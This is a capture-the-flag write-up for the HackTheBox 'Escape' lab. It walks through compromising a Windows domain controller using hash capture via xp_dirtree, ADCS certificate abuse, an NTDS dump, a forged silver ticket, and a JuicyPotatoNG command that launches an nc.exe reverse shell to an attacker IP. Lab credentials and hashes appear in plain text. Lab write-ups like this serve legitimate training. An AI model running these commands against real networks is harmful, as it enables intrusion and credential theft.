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HackTheBox/Escape.md
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# HackTheBox - Escape
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## NMAP
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```bash
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Nmap scan report for 10.10.11.202
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Host is up (0.26s latency).
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Not shown: 65515 filtered tcp ports (no-response)
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PORT STATE SERVICE VERSION
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53/tcp open domain Simple DNS Plus
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88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-26 22:30:28Z)
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135/tcp open msrpc Microsoft Windows RPC
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139/tcp open netbios-ssn Microsoft Windows netbios-ssn
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389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
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|_ssl-date: 2023-02-26T22:32:01+00:00; +8h00m01s from scanner time.
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| ssl-cert: Subject: commonName=dc.sequel.htb
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| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
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| Issuer: commonName=sequel-DC-CA
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2022-11-18T21:20:35
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| Not valid after: 2023-11-18T21:20:35
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| MD5: 869f7f54b2edff74708d1a6ddf34b9bd
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|_SHA-1: 742ab4522191331767395039db9b3b2e27b6f7fa
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445/tcp open microsoft-ds?
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464/tcp open kpasswd5?
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593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
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636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
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|_ssl-date: 2023-02-26T22:32:00+00:00; +8h00m00s from scanner time.
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| ssl-cert: Subject: commonName=dc.sequel.htb
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| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
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| Issuer: commonName=sequel-DC-CA
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2022-11-18T21:20:35
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| Not valid after: 2023-11-18T21:20:35
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| MD5: 869f7f54b2edff74708d1a6ddf34b9bd
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|_SHA-1: 742ab4522191331767395039db9b3b2e27b6f7fa
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1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
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| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
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| Issuer: commonName=SSL_Self_Signed_Fallback
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2023-02-26T03:01:12
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| Not valid after: 2053-02-26T03:01:12
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| MD5: 21884a6bf954052953ea17d7d48ef578
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|_SHA-1: a5c4b21438d9864636d0923db5bc3785598f6364
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3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
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|_ssl-date: 2023-02-26T22:32:01+00:00; +8h00m01s from scanner time.
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| ssl-cert: Subject: commonName=dc.sequel.htb
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| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
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| Issuer: commonName=sequel-DC-CA
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2022-11-18T21:20:35
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| Not valid after: 2023-11-18T21:20:35
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| MD5: 869f7f54b2edff74708d1a6ddf34b9bd
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|_SHA-1: 742ab4522191331767395039db9b3b2e27b6f7fa
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3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
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|_ssl-date: 2023-02-26T22:32:00+00:00; +8h00m00s from scanner time.
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| ssl-cert: Subject: commonName=dc.sequel.htb
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| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
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| Issuer: commonName=sequel-DC-CA
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2022-11-18T21:20:35
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| Not valid after: 2023-11-18T21:20:35
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| MD5: 869f7f54b2edff74708d1a6ddf34b9bd
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|_SHA-1: 742ab4522191331767395039db9b3b2e27b6f7fa
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5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
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|_http-server-header: Microsoft-HTTPAPI/2.0
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|_http-title: Not Found
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9389/tcp open mc-nmf .NET Message Framing
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49667/tcp open msrpc Microsoft Windows RPC
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49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
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49670/tcp open msrpc Microsoft Windows RPC
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49686/tcp open msrpc Microsoft Windows RPC
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49696/tcp open msrpc Microsoft Windows RPC
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49716/tcp open msrpc Microsoft Windows RPC
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```
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Adding the FQDN in `/etc/hosts` file
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<img src="https://i.imgur.com/XyqaPH4.png"/>
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## PORT 139/445 (SMB)
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Checking for null authentication of smb we do see some shares
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<img src="https://i.imgur.com/3qAQ5MH.png"/>
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From `Public` share we see a pdf document
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<img src="https://i.imgur.com/QNv27ZF.png"/>
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<img src="https://i.imgur.com/sq17EGX.png"/>
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On the first page of the document it talks about accessing SQL Server with a non domain joined machine also it reveals three potential usernames `Tom`, `Brandon` and `Ryan`
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<img src="https://i.imgur.com/DeiTtbU.png"/>
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On the next page we'll see the credentials
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<img src="https://i.imgur.com/5D5Zqdy.png"/>
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## Foothold
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We can just try using impacket's mssqclient to login into the database using the provided credentials
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```bash
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mssqlclient.py PublicUser:GuestUserCantWrite1@sequel.htb
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```
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<img src="https://i.imgur.com/wD6huLP.png"/>
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Trying to enable `xp_cmdshell` but it failed
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<img src="https://i.imgur.com/yLRCEWO.png"/>
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With `xp_dirtree` we can capture the NTLMv2 hash of the account with which the mssql service is running
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```bash
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xp_dirtree \\10.10.14.70\uwu
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```
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<img src="https://i.imgur.com/4XDqj6q.png"/>
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With `hashcat` we can crack the hash with the password `REGGIE1234ronnie`
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<img src="https://i.imgur.com/amn6Vet.png"/>
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With this password we can enumerate to get domain users
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<img src="https://i.imgur.com/EVJWLoB.png"/>
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However logging with the service account, it failed
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<img src="https://i.imgur.com/Gslo2Nm.png"/>
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Running bloodhound to enumerate the domain
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```bash
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python3 /opt/BloodHound.py/bloodhound.py -d 'sequel.htb' -u 'sql_svc' -p 'REGGIE1234ronnie' -c all -ns 10.10.11.202
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```
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<img src="https://i.imgur.com/TNnNQiR.png"/>
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From bloodhound we can see this user has `CanPsRemote` on dc which means we can login through winrm
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<img src="https://i.imgur.com/Hy5MHOO.png"/>
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```bash
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evil-winrm -i sequel.htb -u 'sql_svc' -p 'REGGIE1234ronnie'
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```
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<img src="https://i.imgur.com/eqx3BjL.png"/>
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## Privilege Escalation (Ryan.Cooper)
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Checking `C:\SQLServer\Logs\ERRORLOG.BAK`, we'll find the password for `Ryan.Cooper`
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<img src="https://i.imgur.com/fNreNAD.png"/>
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## Privilege Escalation (Administrator)
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After logging using `Certify` to check vulnerable certificate template, this can be downloaded from here
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https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/dotnet%20v4.5%20compiled%20binaries/Certify.exe
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<img src="https://i.imgur.com/X5BqA5v.png"/>
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<img src="https://i.imgur.com/p1AM215.png"/>
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```bash
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./Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator
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```
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<img src="https://i.imgur.com/59cYbby.png"/>
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Copy the certificate in a file `cert.pem`
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<img src="https://i.imgur.com/ilJA8NZ.png"/>
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Convert it to `cert.pfx`
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<img src="https://i.imgur.com/ITylO6n.png"/>
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Transfer it back to the windows machine and also transfer Rubues to get TGT of administrator
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<img src="https://i.imgur.com/VJvtHgr.png"/>
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Conveting the kirbi ticket to ccache
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<img src="https://i.imgur.com/WhgPXzG.png"/>
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Running `secretsdump.py` to dump NTDS
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<img src="https://i.imgur.com/EFBU1S7.png"/>
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<img src="https://i.imgur.com/fIS8OgK.png"/>
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## Un-inteded
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As sql_svc was not able to login mssql, we can try forging a silver ticket to impersonate as the administrator on mssq, we need the ntlm hash of the sql_svc and the domain sid
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```python
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import hashlib,binascii
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hash = hashlib.new('md4', "REGGIE1234ronnie".encode('utf-16le')).digest();
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print (binascii.hexlify(hash));
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```
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<img src="https://i.imgur.com/gMvf02K.png"/>
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Through `rpcclient` , we can get the domain sid
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<img src="https://i.imgur.com/fZLVmos.png"/>
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With `ticketer.py` we can create the silver ticket
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```bash
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ticketer.py -nthash 1443ec19da4dac4ffc953bca1b57b4cf -spn MSSQLSvc/dc.sequel.htb -domain sequel.htb -domain-sid S-1-5-21-4078382237-1492182817-2568127209 administrator
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```
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<img src="https://i.imgur.com/EHCxKeb.png"/>
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Before running `mssqlclient` , make sure to synchronize the time zone with `ntpdate`
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```bash
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mssqlclient.py dc.sequel.htb -k -no-pass
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sudo ntpdate dc.sequel.htb
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```
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<img src="https://i.imgur.com/fSa3fe7.png"/>
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<img src="https://i.imgur.com/ZKkMRF1.png"/>
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Now we can enable `xp_cmdshell` and get a reverse shell
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<img src="https://i.imgur.com/uKyTIkS.png"/>
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<img src="https://i.imgur.com/GCSNy40.png"/>
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Transfer nc.exe and get a reverse shell
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<img src="https://i.imgur.com/gfTdKgp.png"/>
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<img src="https://i.imgur.com/ptKqh68.png"/>
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If we check running `whoami /all`, it will show that there's `SeImpersonatePrivilege` enabled meaning that we can abuse that to get a SYSTEM token and eventually get a system shell
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<img src="https://i.imgur.com/XSthGOl.png"/>
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With `JuicyPotato-NG`, we can get a reverse shell as SYSTEM
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```powershell
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JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:\Windows\Temp\nc.exe 10.10.14.70 80 -e cmd.exe"
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```
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<img src="https://i.imgur.com/9pXxoI1.png"/>
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## References
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- https://www.thehacker.recipes/ad/movement/ad-cs
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- https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/dotnet%20v4.5%20compiled%20binaries/Certify.exe
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